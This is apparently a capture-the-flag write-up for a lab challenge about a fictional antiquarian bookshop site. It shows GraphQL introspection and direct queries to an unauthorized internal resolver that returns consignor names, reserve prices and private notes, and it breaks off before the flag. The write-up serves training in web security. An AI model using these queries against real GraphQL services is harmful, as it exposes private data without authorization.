Slate Quarry
Slate Quarry Books has been the antiquarian shop on the green since 1971. The proprietor's nephew built a small website; the catalogue is public, but the shop's consignment ledger — who left what on consignment, what each consignor agreed to as a floor — was never meant to be.
Room Description

https://dashboard.webverselabs-pro.com/events/slate-quarry
Briefing
Slate Quarry Books has been the antiquarian shop on the green since 1971. The proprietor, James Garner, started out cataloguing every volume in a leather-bound ledger and now does it through a small website his nephew built one summer. The catalogue is visible to the public; the shop's consignment ledger — who left what on consignment, what the reserve price is, what each consignor agreed to as a floor — was never meant to be.
Initial Analysis
We begin by visiting the challenge website, which presents itself as a small antiquarian bookstore with a simple catalogue. The frontend allows us to browse books and view individual entries, but nothing immediately stands out as vulnerable.

Navigation endpoints:
<nav class="nav">
<div class="nav__inner">
<a href="/" class="nav__link nav__link--active">Home</a>
<a href="/catalogue" class="nav__link">Catalogue</a>
<a href="/about" class="nav__link">About</a>
<a href="/contact" class="nav__link">Contact</a>
</div>
</nav>

While browsing, we observe that the catalogue and book pages dynamically load content. Inspecting the network traffic reveals that the application communicates with a GraphQL endpoint at:
/graphql
Finding the bug
When requesting /catalogue there's a GraphQL request with the following query:
{"query":"\n query Catalogue {\n books {\n id\n title\n author\n year\n condition\n retailPrice\n catalogueNumber\n }\n }\n ","operationName":"Catalogue"}
and when requesting a specific book there's a GraphQL request with a query:
{"query":"query Book($id: ID!){ bookById(id: $id){ id title author year condition retailPrice catalogueNumber } }","variables":{"id":"1"}}
Now there are two ways to get more information, one is by attempting common endpoints like /graphql/api and gather information that way, or by using an introspection query (Right click on request in Repeater, GraphQL - > Set Introspection Query), both work here.


Exploitation
We gathered enough information to find this type:
type ConsignorReserve {
bookId: ID!
consignorName: String!
reservePrice: Float!
acquisitionDate: String!
internalNotes: String!
}
and the Query type:
type Query {
"""Full public catalogue, ordered by catalogue number."""
books: [Book!]!
"""Single book by id — used by the per-book detail page."""
bookById(id: ID!): Book
"""Books published within a date range (inclusive)."""
searchByPeriod(start: Int!, end: Int!): [Book!]!
"""Internal reserve lookup — for the cataloguer's reference."""
consignorReserveById(bookId: ID!): ConsignorReserve
}
What immediately stands out is:
consignorReserveById(bookId: ID!): ConsignorReserve
At this point, we have identified a Broken Access Control vulnerability — the backend exposes internal functionality without enforcing any authorization.
To confirm the issue, we directly query the internal resolver:
{ "query": "query { consignorReserveById(bookId: \"1\") { consignorName reservePrice internalNotes } }"}

This successfully returns internal data, including consignor details and notes.
To identify a likely target, we return to the homepage and notice that one book is marked as “Reserved”, linking to /book/7. This makes it a strong candidate for containing sensitive or special data.
We then query:
{ "query": "query { consignorReserveById(bookId: \"7\") { bookId consignorName reservePrice acquisitionDate internalNotes } }"}
The response includes the internalNotes field, which contains the flag:
